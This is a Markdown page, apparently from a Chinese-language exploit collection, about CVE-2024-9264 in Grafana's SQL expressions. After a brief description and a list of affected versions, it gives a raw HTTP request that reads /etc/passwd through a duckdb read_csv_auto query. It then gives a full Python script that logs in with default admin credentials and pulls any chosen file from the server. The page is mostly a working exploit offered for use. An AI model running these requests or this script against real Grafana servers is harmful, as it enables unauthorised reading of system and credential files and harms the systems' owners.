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158 lines
4.4 KiB
Markdown
158 lines
4.4 KiB
Markdown
# Grafana表达式远程代码执行(CVE-2024-9264)
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Grafana 的 SQL 表达式实验功能允许评估包含用户输入的“duckdb”查询。这些查询在传递给“duckdb”之前没有得到充分的净化，从而导致命令注入和本地文件包含漏洞。任何具有 VIEWER 或更高权限的用户都能够执行此攻击。 “duckdb”二进制文件必须存在于 Grafana 的 $PATH 中才能使此攻击起作用；默认情况下，此二进制文件未安装在 Grafana 发行版中。
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## 影响版本
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Grafana >= v11.0.0 (all v11.x.y are impacted)
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## poc
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```javascript
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POST /api/ds/query?ds_type=__expr__&expression=true&requestId=Q100 HTTP/1.1
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Host: 127.0.0.1:3000
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Content-Type: application/json
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Cookie: grafana_session=a739fa9aeb235f2790f17de00fefe528
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Content-Length: 368
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{
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"from": "1696154400000",
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"to": "1696345200000",
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"queries": [
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{
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"datasource": {
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"name": "Expression",
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"type": "__expr__",
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"uid": "__expr__"
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},
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"expression": "SELECT * FROM read_csv_auto('/etc/passwd');",
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"hide": false,
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"refId": "B",
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"type": "sql",
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"window": ""
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}
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]
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}
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```
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## python
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```python
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#!/usr/bin/env python3
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"""
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Grafana File Read PoC (CVE-2024-9264)
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Author: z3k0sec // www.zekosec.com
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"""
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import requests
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import json
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import sys
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import argparse
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class Console:
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def log(self, msg):
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print(msg, file=sys.stderr)
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console = Console()
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def msg_success(msg):
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console.log(f"[SUCCESS] {msg}")
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def msg_failure(msg):
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console.log(f"[FAILURE] {msg}")
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def failure(msg):
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msg_failure(msg)
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sys.exit(1)
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def authenticate(s, url, u, p):
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res = s.post(f"{url}/login", json={"password": p, "user": u})
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if res.json().get("message") == "Logged in":
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msg_success(f"Logged in as {u}:{p}")
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else:
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failure(f"Failed to log in as {u}:{p}")
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def run_query(s, url, query):
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query_url = f"{url}/api/ds/query?ds_type=__expr__&expression=true&requestId=1"
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query_payload = {
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"from": "1696154400000",
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"to": "1696345200000",
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"queries": [
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{
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"datasource": {
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"name": "Expression",
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"type": "__expr__",
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"uid": "__expr__"
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},
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"expression": query,
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"hide": False,
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"refId": "B",
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"type": "sql",
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"window": ""
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}
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]
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}
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res = s.post(query_url, json=query_payload)
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data = res.json()
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# Handle unexpected response
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if "message" in data:
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msg_failure("Unexpected response:")
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msg_failure(json.dumps(data, indent=4))
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return None
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# Extract results
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frames = data.get("results", {}).get("B", {}).get("frames", [])
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if frames:
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values = [
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row
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for frame in frames
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for row in frame["data"]["values"]
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]
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if values:
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msg_success("Successfully ran DuckDB query:")
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return values
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failure("No valid results found.")
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def decode_output(values):
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return [":".join(str(i) for i in row if i is not None) for row in values]
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def main(url, user="admin", password="admin", file=None):
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s = requests.Session()
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authenticate(s, url, user, password)
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file = file or "/etc/passwd"
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escaped_filename = requests.utils.quote(file)
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query = f"SELECT * FROM read_csv_auto('{escaped_filename}');"
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content = run_query(s, url, query)
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if content:
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msg_success(f"Retrieved file {file}:")
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for line in decode_output(content):
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print(line)
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if __name__ == "__main__":
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parser = argparse.ArgumentParser(description="Arbitrary File Read in Grafana via SQL Expression (CVE-2024-9264).")
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parser.add_argument("--url", help="URL of the Grafana instance to exploit")
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parser.add_argument("--user", default="admin", help="Username to log in as, defaults to 'admin'")
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parser.add_argument("--password", default="admin", help="Password used to log in, defaults to 'admin'")
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parser.add_argument("--file", help="File to read on the server, defaults to '/etc/passwd'")
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args = parser.parse_args()
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main(args.url, args.user, args.password, args.file)
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```
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## 漏洞来源
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- https://zekosec.com/blog/file-read-grafana-cve-2024-9264/
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- https://github.com/z3k0sec/File-Read-CVE-2024-9264
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